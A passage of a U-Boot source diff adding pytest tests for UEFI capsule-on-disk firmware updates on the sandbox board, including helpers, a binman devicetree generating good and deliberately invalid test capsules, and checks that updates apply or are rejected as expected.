+ assert 'crc32: 0x181464af' in response
+ u_boot_console.run_command(cmd = 'exit', wait_for_echo=False)
+
+ u_boot_console.run_command(cmd = 'efidebug boot add ' \
+ '-B 0002 label-2 host 0:1 initrddump.efi ' \
+ '-I host 0:1 initrd-2.img -s nocolor')
+ u_boot_console.run_command(cmd = 'efidebug boot dump')
+ u_boot_console.run_command(cmd = 'efidebug boot order 0002')
+ u_boot_console.run_command(cmd = 'bootefi bootmgr')
+ response = u_boot_console.run_command(cmd = 'load', wait_for_echo=False)
+ assert 'crc32: 0x811d3515' in response
+ u_boot_console.run_command(cmd = 'exit', wait_for_echo=False)
+
+ u_boot_console.run_command(cmd = 'efidebug boot rm 0001')
+ u_boot_console.run_command(cmd = 'efidebug boot rm 0002')
diff --git a/test/py/tests/test_efi_capsule/capsule_common.py b/test/py/tests/test_efi_capsule/capsule_common.py
new file mode 100644
index 00000000000..fc0d851c619
--- /dev/null
+++ b/test/py/tests/test_efi_capsule/capsule_common.py
@@ -0,0 +1,142 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2023, Linaro Limited
+
+
+"""Common function for UEFI capsule test."""
+
+from capsule_defs import CAPSULE_DATA_DIR, CAPSULE_INSTALL_DIR
+
+def capsule_setup(u_boot_console, disk_img, osindications):
+ """setup the test
+
+ Args:
+ u_boot_console -- A console connection to U-Boot.
+ disk_img -- A path to disk image to be used for testing.
+ osindications -- String of osindications value.
+ """
+ u_boot_console.run_command_list([
+ f'host bind 0 {disk_img}',
+ 'printenv -e PlatformLangCodes', # workaround for terminal size determination
+ 'efidebug boot add -b 1 TEST host 0:1 /helloworld.efi',
+ 'efidebug boot order 1',
+ 'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;'
+ 'u-boot-env raw 0x150000 0x200000"'])
+
+ if osindications is None:
+ u_boot_console.run_command('env set -e OsIndications')
+ else:
+ u_boot_console.run_command(f'env set -e -nv -bs -rt OsIndications ={osindications}')
+
+ u_boot_console.run_command('env save')
+
+def init_content(u_boot_console, target, filename, expected):
+ """initialize test content
+
+ Args:
+ u_boot_console -- A console connection to U-Boot.
+ target -- Target address to place the content.
+ filename -- File name of the content.
+ expected -- Expected string of the content.
+ """
+ output = u_boot_console.run_command_list([
+ 'sf probe 0:0',
+ f'fatload host 0:1 4000000 {CAPSULE_DATA_DIR}/{filename}',
+ f'sf write 4000000 {target} 10',
+ 'sf read 5000000 100000 10',
+ 'md.b 5000000 10'])
+ assert expected in ''.join(output)
+
+def place_capsule_file(u_boot_console, filenames):
+ """place the capsule file
+
+ Args:
+ u_boot_console -- A console connection to U-Boot.
+ filenames -- File name array of the target capsule files.
+ """
+ for name in filenames:
+ u_boot_console.run_command_list([
+ f'fatload host 0:1 4000000 {CAPSULE_DATA_DIR}/{name}',
+ f'fatwrite host 0:1 4000000 {CAPSULE_INSTALL_DIR}/{name} $filesize'])
+
+ output = u_boot_console.run_command(f'fatls host 0:1 {CAPSULE_INSTALL_DIR}')
+ for name in filenames:
+ assert name in ''.join(output)
+
+def exec_manual_update(u_boot_console, disk_img, filenames, need_reboot = True):
+ """execute capsule update manually
+
+ Args:
+ u_boot_console -- A console connection to U-Boot.
+ disk_img -- A path to disk image to be used for testing.
+ filenames -- File name array of the target capsule files.
+ need_reboot -- Flag indicates whether system reboot is required.
+ """
+ # make sure that dfu_alt_info exists even persistent variables
+ # are not available.
+ output = u_boot_console.run_command_list([
+ 'env set dfu_alt_info '
+ '"sf 0:0=u-boot-bin raw 0x100000 0x50000;'
+ 'u-boot-env raw 0x150000 0x200000"',
+ f'host bind 0 {disk_img}',
+ f'fatls host 0:1 {CAPSULE_INSTALL_DIR}'])
+ for name in filenames:
+ assert name in ''.join(output)
+
+ # need to run uefi command to initiate capsule handling
+ u_boot_console.run_command(
+ 'env print -e Capsule0000', wait_for_reboot = need_reboot)
+
+def check_file_removed(u_boot_console, disk_img, filenames):
+ """check files are removed
+
+ Args:
+ u_boot_console -- A console connection to U-Boot.
+ disk_img -- A path to disk image to be used for testing.
+ filenames -- File name array of the target capsule files.
+ """
+ output = u_boot_console.run_command_list([
+ f'host bind 0 {disk_img}',
+ f'fatls host 0:1 {CAPSULE_INSTALL_DIR}'])
+ for name in filenames:
+ assert name not in ''.join(output)
+
+def check_file_exist(u_boot_console, disk_img, filenames):
+ """check files exist
+
+ Args:
+ u_boot_console -- A console connection to U-Boot.
+ disk_img -- A path to disk image to be used for testing.
+ filenames -- File name array of the target capsule files.
+ """
+ output = u_boot_console.run_command_list([
+ f'host bind 0 {disk_img}',
+ f'fatls host 0:1 {CAPSULE_INSTALL_DIR}'])
+ for name in filenames:
+ assert name in ''.join(output)
+
+def verify_content(u_boot_console, target, expected):
+ """verify the content
+
+ Args:
+ u_boot_console -- A console connection to U-Boot.
+ target -- Target address to verify.
+ expected -- Expected string of the content.
+ """
+ output = u_boot_console.run_command_list([
+ 'sf probe 0:0',
+ f'sf read 4000000 {target} 10',
+ 'md.b 4000000 10'])
+ assert expected in ''.join(output)
+
+def do_reboot_dtb_specified(u_boot_config, u_boot_console, dtb_filename):
+ """do reboot with specified DTB
+
+ Args:
+ u_boot_config -- U-boot configuration.
+ u_boot_console -- A console connection to U-Boot.
+ dtb_filename -- DTB file name.
+ """
+ mnt_point = u_boot_config.persistent_data_dir + '/test_efi_capsule'
+ u_boot_console.config.dtb = mnt_point + CAPSULE_DATA_DIR \
+ + f'/{dtb_filename}'
+ u_boot_console.restart_uboot()
diff --git a/test/py/tests/test_efi_capsule/capsule_defs.py b/test/py/tests/test_efi_capsule/capsule_defs.py
new file mode 100644
index 00000000000..3cc695e29b5
--- /dev/null
+++ b/test/py/tests/test_efi_capsule/capsule_defs.py
@@ -0,0 +1,12 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+"""Directoreis used for authentication and capsule tests."""
+
+# Directories
+CAPSULE_DATA_DIR = '/EFI/CapsuleTestData'
+CAPSULE_INSTALL_DIR = '/EFI/UpdateCapsule'
+
+# v1.5.1 or earlier of efitools has a bug in sha256 calculation, and
+# you need build a newer version on your own.
+# The path must terminate with '/' if it is not null.
+EFITOOLS_PATH = ''
diff --git a/test/py/tests/test_efi_capsule/capsule_gen_binman.dts b/test/py/tests/test_efi_capsule/capsule_gen_binman.dts
new file mode 100644
index 00000000000..1a62c260474
--- /dev/null
+++ b/test/py/tests/test_efi_capsule/capsule_gen_binman.dts
@@ -0,0 +1,168 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Devicetree for capsule generation through binman
+ */
+
+/dts-v1/;
+
+#include <sandbox_efi_capsule.h>
+
+/ {
+ binman: binman {
+ multiple-images;
+ };
+};
+
+&binman {
+ itb {
+ filename = UBOOT_FIT_IMAGE;
+
+ fit {
+ description = "Automatic U-Boot environment update";
+ #address-cells = <2>;
+
+ images {
+ u-boot-bin {
+ description = "U-Boot binary on SPI Flash";
+ compression = "none";
+ type = "firmware";
+ arch = "sandbox";
+ load = <0>;
+ text {
+ text = "u-boot:New";
+ };
+
+ hash-1 {
+ algo = "sha1";
+ };
+ };
+ u-boot-env {
+ description = "U-Boot environment on SPI Flash";
+ compression = "none";
+ type = "firmware";
+ arch = "sandbox";
+ load = <0>;
+ text {
+ text = "u-boot-env:New";
+ };
+
+ hash-1 {
+ algo = "sha1";
+ };
+ };
+ };
+ };
+ };
+
+ capsule1 {
+ filename = "Test04";
+ efi-capsule {
+ image-index = <0x1>;
+ image-guid = SANDBOX_FIT_IMAGE_GUID;
+
+ blob {
+ filename = UBOOT_FIT_IMAGE;
+ };
+ };
+ };
+
+ capsule2 {
+ filename = "Test05";
+ efi-capsule {
+ image-index = <0x1>;
+ image-guid = SANDBOX_INCORRECT_GUID;
+
+ blob {
+ filename = UBOOT_FIT_IMAGE;
+ };
+ };
+ };
+
+ capsule3 {
+ filename = "Test104";
+ efi-capsule {
+ image-index = <0x1>;
+ fw-version = <0x5>;
+ image-guid = SANDBOX_FIT_IMAGE_GUID;
+
+ blob {
+ filename = UBOOT_FIT_IMAGE;
+ };
+ };
+ };
+
+ capsule4 {
+ filename = "Test105";
+ efi-capsule {
+ image-index = <0x1>;
+ fw-version = <0x2>;
+ image-guid = SANDBOX_FIT_IMAGE_GUID;
+
+ blob {
+ filename = UBOOT_FIT_IMAGE;
+ };
+ };
+ };
+
+ capsule5 {
+ filename = "Test13";
+ efi-capsule {
+ image-index = <0x1>;
+ image-guid = SANDBOX_FIT_IMAGE_GUID;
+ private-key = CAPSULE_PRIV_KEY;
+ public-key-cert = CAPSULE_PUB_KEY;
+ monotonic-count = <0x1>;
+
+ blob {
+ filename = UBOOT_FIT_IMAGE;
+ };
+ };
+ };
+
+ capsule6 {
+ filename = "Test14";
+ efi-capsule {
+ image-index = <0x1>;
+ image-guid = SANDBOX_FIT_IMAGE_GUID;
+ private-key = CAPSULE_INVAL_KEY;
+ public-key-cert = CAPSULE_INVAL_PUB_KEY;
+ monotonic-count = <0x1>;
+
+ blob {
+ filename = UBOOT_FIT_IMAGE;
+ };
+ };
+ };
+
+ capsule7 {
+ filename = "Test114";
+ efi-capsule {
+ image-index = <0x1>;
+ fw-version = <0x5>;
+ image-guid = SANDBOX_FIT_IMAGE_GUID;
+ private-key = CAPSULE_PRIV_KEY;
+ public-key-cert = CAPSULE_PUB_KEY;
+ monotonic-count = <0x1>;
+
+ blob {
+ filename = UBOOT_FIT_IMAGE;
+ };
+ };
+ };
+
+ capsule8 {
+ filename = "Test115";
+ efi-capsule {
+ image-index = <0x1>;
+ fw-version = <0x2>;
+ image-guid = SANDBOX_FIT_IMAGE_GUID;
+ private-key = CAPSULE_PRIV_KEY;
+ public-key-cert = CAPSULE_PUB_KEY;
+ monotonic-count = <0x1>;
+
+ blob {
+ filename = UBOOT_FIT_IMAGE;
+ };
+ };
+ };
+};
diff --git a/test/py/tests/test_efi_capsule/conftest.py b/test/py/tests/test_efi_capsule/conftest.py
new file mode 100644
index 00000000000..80b12977d6f
--- /dev/null
+++ b/test/py/tests/test_efi_capsule/conftest.py
@@ -0,0 +1,105 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2020, Linaro Limited
+# Author: AKASHI Takahiro <takahiro.akashi@linaro.org>
+
+"""Fixture for UEFI capsule test."""
+
+import os
+
+from subprocess import call, check_call, CalledProcessError
+import pytest
+from capsule_defs import CAPSULE_DATA_DIR, CAPSULE_INSTALL_DIR, EFITOOLS_PATH
+
+@pytest.fixture(scope='session')
+def efi_capsule_data(request, u_boot_config):
+ """Set up a file system and return path to image.
+
+ The function sets up a file system to be used in UEFI capsule and
+ authentication test and returns a path to disk image to be used
+ for testing.
+
+ request -- Pytest request object.
+ u_boot_config -- U-Boot configuration.
+ """
+ mnt_point = u_boot_config.persistent_data_dir + '/test_efi_capsule'
+ data_dir = mnt_point + CAPSULE_DATA_DIR
+ install_dir = mnt_point + CAPSULE_INSTALL_DIR
+ image_path = u_boot_config.persistent_data_dir + '/test_efi_capsule.img'
+
+ try:
+ # Create a target device
+ check_call('dd if=/dev/zero of=./spi.bin bs=1MiB count=16', shell=True)
+
+ check_call('rm -rf %s' % mnt_point, shell=True)
+ check_call('mkdir -p %s' % data_dir, shell=True)
+ check_call('mkdir -p %s' % install_dir, shell=True)
+
+ capsule_auth_enabled = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_authenticate')
+ key_dir = u_boot_config.source_dir + '/board/sandbox'
+ if capsule_auth_enabled:
+ # Get the keys from the board directory
+ check_call('cp %s/capsule_priv_key_good.key %s/SIGNER.key'
+ % (key_dir, data_dir), shell=True)
+ check_call('cp %s/capsule_pub_key_good.crt %s/SIGNER.crt'
+ % (key_dir, data_dir), shell=True)
+ check_call('cp %s/capsule_pub_esl_good.esl %s/SIGNER.esl'
+ % (key_dir, data_dir), shell=True)
+
+ check_call('cp %s/capsule_priv_key_bad.key %s/SIGNER2.key'
+ % (key_dir, data_dir), shell=True)
+ check_call('cp %s/capsule_pub_key_bad.crt %s/SIGNER2.crt'
+ % (key_dir, data_dir), shell=True)
+
+ # Update dtb to add the version information
+ check_call('cd %s; '
+ 'cp %s/test/py/tests/test_efi_capsule/version.dts .'
+ % (data_dir, u_boot_config.source_dir), shell=True)
+
+ if capsule_auth_enabled:
+ check_call('cd %s; '
+ 'cp %s/arch/sandbox/dts/test.dtb test_sig.dtb'
+ % (data_dir, u_boot_config.build_dir), shell=True)
+ check_call('cd %s; '
+ 'dtc -@ -I dts -O dtb -o version.dtbo version.dts; '
+ 'fdtoverlay -i test_sig.dtb '
+ '-o test_ver.dtb version.dtbo'
+ % (data_dir), shell=True)
+ else:
+ check_call('cd %s; '
+ 'dtc -@ -I dts -O dtb -o version.dtbo version.dts; '
+ 'fdtoverlay -i %s/arch/sandbox/dts/test.dtb '
+ '-o test_ver.dtb version.dtbo'
+ % (data_dir, u_boot_config.build_dir), shell=True)
+
+ # two regions: one for u-boot.bin and the other for u-boot.env
+ check_call('cd %s; echo -n u-boot:Old > u-boot.bin.old; echo -n u-boot:New > u-boot.bin.new; echo -n u-boot-env:Old > u-boot.env.old; echo -n u-boot-env:New > u-boot.env.new' % data_dir,
+ shell=True)
+
+ pythonpath = os.environ.get('PYTHONPATH', '')
+ os.environ['PYTHONPATH'] = pythonpath + ':' + '%s/scripts/dtc/pylibfdt' % u_boot_config.build_dir
+ check_call('cd %s; '
+ 'cc -E -I %s/include -x assembler-with-cpp -o capsule_gen_tmp.dts %s/test/py/tests/test_efi_capsule/capsule_gen_binman.dts; '
+ 'dtc -I dts -O dtb capsule_gen_tmp.dts -o capsule_binman.dtb;'
+ % (data_dir, u_boot_config.source_dir, u_boot_config.source_dir), shell=True)
+ check_call('cd %s; '
+ './tools/binman/binman --toolpath %s/tools build -u -d %s/capsule_binman.dtb -O %s -m --allow-missing -I %s -I ./board/sandbox -I ./arch/sandbox/dts'
+ % (u_boot_config.source_dir, u_boot_config.build_dir, data_dir, data_dir, data_dir), shell=True)
+ check_call('cp %s/Test* %s' % (u_boot_config.build_dir, data_dir), shell=True)
+ os.environ['PYTHONPATH'] = pythonpath
+
+ # Create a disk image with EFI system partition
+ check_call('virt-make-fs --partition=gpt --size=+1M --type=vfat %s %s' %
+ (mnt_point, image_path), shell=True)
+ check_call('sgdisk %s -A 1:set:0 -t 1:C12A7328-F81F-11D2-BA4B-00A0C93EC93B' %
+ image_path, shell=True)
+
+ except CalledProcessError as exception:
+ pytest.skip('Setup failed: %s' % exception.cmd)
+ return
+ else:
+ yield image_path
+ finally:
+ call('rm -rf %s' % mnt_point, shell=True)
+ call('rm -f %s' % image_path, shell=True)
+ call('rm -f ./spi.bin', shell=True)
diff --git a/test/py/tests/test_efi_capsule/test_capsule_firmware_fit.py b/test/py/tests/test_efi_capsule/test_capsule_firmware_fit.py
new file mode 100644
index 00000000000..11bcdc2bb29
--- /dev/null
+++ b/test/py/tests/test_efi_capsule/test_capsule_firmware_fit.py
@@ -0,0 +1,183 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2020, Linaro Limited
+# Author: AKASHI Takahiro <takahiro.akashi@linaro.org>
+
+"""U-Boot UEFI: Firmware Update Test
+This test verifies capsule-on-disk firmware update for FIT images
+"""
+
+import pytest
+from capsule_common import (
+ capsule_setup,
+ init_content,
+ place_capsule_file,
+ exec_manual_update,
+ check_file_removed,
+ verify_content,
+ do_reboot_dtb_specified
+)
+
+@pytest.mark.boardspec('sandbox_flattree')
+@pytest.mark.buildconfigspec('efi_capsule_firmware_fit')
+@pytest.mark.buildconfigspec('efi_capsule_on_disk')
+@pytest.mark.buildconfigspec('dfu')
+@pytest.mark.buildconfigspec('dfu_sf')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_memory')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.slow
+class TestEfiCapsuleFirmwareFit():
+ """Test capsule-on-disk firmware update for FIT images
+ """
+
+ def test_efi_capsule_fw1(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 1
+ Update U-Boot and U-Boot environment on SPI Flash
+ but with an incorrect GUID value in the capsule
+ No update should happen
+ 0x100000-0x150000: U-Boot binary (but dummy)
+ 0x150000-0x200000: U-Boot environment (but dummy)
+ """
+ # other tests might have run and the
+ # system might not be in a clean state.
+ # Restart before starting the tests.
+ u_boot_console.restart_uboot()
+
+ disk_img = efi_capsule_data
+ capsule_files = ['Test05']
+ with u_boot_console.log.section('Test Case 1-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ init_content(u_boot_console, '150000', 'u-boot.env.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+
+ # reboot
+ u_boot_console.restart_uboot(expect_reset = capsule_early)
+
+ with u_boot_console.log.section('Test Case 1-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ # deleted anyway
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
+ verify_content(u_boot_console, '150000', 'u-boot-env:Old')
+
+ def test_efi_capsule_fw2(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """Test Case 2
+ Update U-Boot and U-Boot environment on SPI Flash
+ 0x100000-0x150000: U-Boot binary (but dummy)
+ 0x150000-0x200000: U-Boot environment (but dummy)
+ """
+
+ disk_img = efi_capsule_data
+ capsule_files = ['Test04']
+ with u_boot_console.log.section('Test Case 2-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ init_content(u_boot_console, '150000', 'u-boot.env.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ capsule_auth = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_authenticate')
+
+ # reboot
+ u_boot_console.restart_uboot(expect_reset = capsule_early)
+
+ with u_boot_console.log.section('Test Case 2-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ expected = 'u-boot:Old' if capsule_auth else 'u-boot:New'
+ verify_content(u_boot_console, '100000', expected)
+
+ expected = 'u-boot-env:Old' if capsule_auth else 'u-boot-env:New'
+ verify_content(u_boot_console, '150000', expected)
+
+ def test_efi_capsule_fw3(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """ Test Case 3
+ Update U-Boot on SPI Flash, raw image format with fw_version and lowest_supported_version
+ 0x100000-0x150000: U-Boot binary (but dummy)
+ 0x150000-0x200000: U-Boot environment (but dummy)
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test104']
+ with u_boot_console.log.section('Test Case 3-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ init_content(u_boot_console, '150000', 'u-boot.env.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ # reboot
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_ver.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ capsule_auth = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_authenticate')
+ with u_boot_console.log.section('Test Case 3-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ # deleted anyway
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ # make sure the dfu_alt_info exists because it is required for making ESRT.
+ output = u_boot_console.run_command_list([
+ 'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;'
+ 'u-boot-env raw 0x150000 0x200000"',
+ 'efidebug capsule esrt'])
+
+ if capsule_auth:
+ # capsule authentication failed
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
+ verify_content(u_boot_console, '150000', 'u-boot-env:Old')
+ else:
+ # ensure that SANDBOX_UBOOT_IMAGE_GUID is in the ESRT.
+ assert '3673B45D-6A7C-46F3-9E60-ADABB03F7937' in ''.join(output)
+ assert 'ESRT: fw_version=5' in ''.join(output)
+ assert 'ESRT: lowest_supported_fw_version=3' in ''.join(output)
+
+ verify_content(u_boot_console, '100000', 'u-boot:New')
+ verify_content(u_boot_console, '150000', 'u-boot-env:New')
+
+ def test_efi_capsule_fw4(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """ Test Case 4
+ Update U-Boot on SPI Flash, raw image format with fw_version and lowest_supported_version
+ but fw_version is lower than lowest_supported_version
+ No update should happen
+ 0x100000-0x150000: U-Boot binary (but dummy)
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test105']
+ with u_boot_console.log.section('Test Case 4-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ # reboot
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_ver.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 4-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
diff --git a/test/py/tests/test_efi_capsule/test_capsule_firmware_raw.py b/test/py/tests/test_efi_capsule/test_capsule_firmware_raw.py
new file mode 100644
index 00000000000..a5b5c8a3853
--- /dev/null
+++ b/test/py/tests/test_efi_capsule/test_capsule_firmware_raw.py
@@ -0,0 +1,229 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2020, Linaro Limited
+# Author: AKASHI Takahiro <takahiro.akashi@linaro.org>
+
+""" U-Boot UEFI: Firmware Update Test
+This test verifies capsule-on-disk firmware update for raw images
+"""
+
+import pytest
+from capsule_common import (
+ capsule_setup,
+ init_content,
+ place_capsule_file,
+ exec_manual_update,
+ check_file_removed,
+ check_file_exist,
+ verify_content,
+ do_reboot_dtb_specified
+)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_capsule_firmware_raw')
+@pytest.mark.buildconfigspec('efi_capsule_on_disk')
+@pytest.mark.buildconfigspec('dfu')
+@pytest.mark.buildconfigspec('dfu_sf')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_memory')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.slow
+class TestEfiCapsuleFirmwareRaw:
+ """ Tests verifying capsule-on-disk firmware update for raw images
+ """
+
+ def test_efi_capsule_fw1(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """ Test Case 1
+ Update U-Boot and U-Boot environment on SPI Flash
+ but with an incorrect GUID value in the capsule
+ No update should happen
+ 0x100000-0x150000: U-Boot binary (but dummy)
+ 0x150000-0x200000: U-Boot environment (but dummy)
+ """
+
+ # other tests might have run and the
+ # system might not be in a clean state.
+ # Restart before starting the tests.
+ u_boot_console.restart_uboot()
+
+ disk_img = efi_capsule_data
+ capsule_files = ['Test03']
+ with u_boot_console.log.section('Test Case 1-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ init_content(u_boot_console, '150000', 'u-boot.env.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ # reboot
+ u_boot_console.restart_uboot()
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+
+ with u_boot_console.log.section('Test Case 1-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ # deleted anyway
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
+ verify_content(u_boot_console, '150000', 'u-boot-env:Old')
+
+ def test_efi_capsule_fw2(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """ Test Case 2
+ Update U-Boot and U-Boot environment on SPI Flash but with OsIndications unset
+ No update should happen
+ 0x100000-0x150000: U-Boot binary (but dummy)
+ 0x150000-0x200000: U-Boot environment (but dummy)
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test01', 'Test02']
+ with u_boot_console.log.section('Test Case 2-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, None)
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ init_content(u_boot_console, '150000', 'u-boot.env.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ # reboot
+ u_boot_console.restart_uboot()
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ with u_boot_console.log.section('Test Case 2-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files, False)
+
+ check_file_exist(u_boot_console, disk_img, capsule_files)
+
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
+ verify_content(u_boot_console, '150000', 'u-boot-env:Old')
+
+ def test_efi_capsule_fw3(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """ Test Case 3
+ Update U-Boot on SPI Flash, raw image format
+ 0x100000-0x150000: U-Boot binary (but dummy)
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test01', 'Test02']
+ with u_boot_console.log.section('Test Case 3-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ init_content(u_boot_console, '150000', 'u-boot.env.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ capsule_auth = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_authenticate')
+
+ # reboot
+ u_boot_console.restart_uboot(expect_reset = capsule_early)
+
+ with u_boot_console.log.section('Test Case 3-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ # make sure the dfu_alt_info exists because it is required for making ESRT.
+ output = u_boot_console.run_command_list([
+ 'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000;u-boot-env raw 0x150000 0x200000"',
+ 'efidebug capsule esrt'])
+
+ # ensure that SANDBOX_UBOOT_ENV_IMAGE_GUID is in the ESRT.
+ assert '5A7021F5-FEF2-48B4-AABA-832E777418C0' in ''.join(output)
+
+ # ensure that SANDBOX_UBOOT_IMAGE_GUID is in the ESRT.
+ assert '09D7CF52-0720-4710-91D1-08469B7FE9C8' in ''.join(output)
+
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ expected = 'u-boot:Old' if capsule_auth else 'u-boot:New'
+ verify_content(u_boot_console, '100000', expected)
+
+ expected = 'u-boot-env:Old' if capsule_auth else 'u-boot-env:New'
+ verify_content(u_boot_console, '150000', expected)
+
+ def test_efi_capsule_fw4(
+ self, u_boot_config, u_boot_console, efi_capsule_data):
+ """ Test Case 4
+ Update U-Boot on SPI Flash, raw image format with fw_version and lowest_supported_version
+ 0x100000-0x150000: U-Boot binary (but dummy)
+ 0x150000-0x200000: U-Boot environment (but dummy)
+ """
+ disk_img = efi_capsule_data
+ capsule_files = ['Test101', 'Test102']
+ with u_boot_console.log.section('Test Case 4-a, before reboot'):
+ capsule_setup(u_boot_console, disk_img, '0x0000000000000004')
+ init_content(u_boot_console, '100000', 'u-boot.bin.old', 'Old')
+ init_content(u_boot_console, '150000', 'u-boot.env.old', 'Old')
+ place_capsule_file(u_boot_console, capsule_files)
+
+ # reboot
+ do_reboot_dtb_specified(u_boot_config, u_boot_console, 'test_ver.dtb')
+
+ capsule_early = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_on_disk_early')
+ capsule_auth = u_boot_config.buildconfig.get(
+ 'config_efi_capsule_authenticate')
+ with u_boot_console.log.section('Test Case 4-b, after reboot'):
+ if not capsule_early:
+ exec_manual_update(u_boot_console, disk_img, capsule_files)
+
+ # deleted anyway
+ check_file_removed(u_boot_console, disk_img, capsule_files)
+
+ # make sure the dfu_alt_info exists because it is required for making ESRT.
+ output = u_boot_console.run_command_list([
+ 'env set dfu_alt_info "sf 0:0=u-boot-bin raw 0x100000 0x50000'
+ 'u-boot-env raw 0x150000 0x200000"',
+ 'efidebug capsule esrt'])
+
+ if capsule_auth:
+ # capsule authentication failed
+ verify_content(u_boot_console, '100000', 'u-boot:Old')
+ verify_content(u_boot_console, '150000', 'u-boot-env:Old')
+ else:
+ # ensure that SANDBOX_UBOOT_IMAGE_GUID is in the ESRT.
+ assert '09D7CF52-0720-4710-91D1-08469B7FE9C8' in ''.join(output)
+ assert 'ESRT: fw_version=5' in ''.join(output)
+ assert 'ESRT: lowest_supported_fw_version=3' in ''.join(output)
+
+ # ensure that SANDBOX_UBOOT_ENV_IMAGE_GUID is in the ESRT.
+ assert '5A7021F5-FEF2-48B4-AABA-832E777418C0' in ''.join(output)
+ assert 'ESRT: fw_version=10' in ''.join(output)
+ assert 'ESRT: lowest_supported_fw_version=7' in ''.join(output)
+
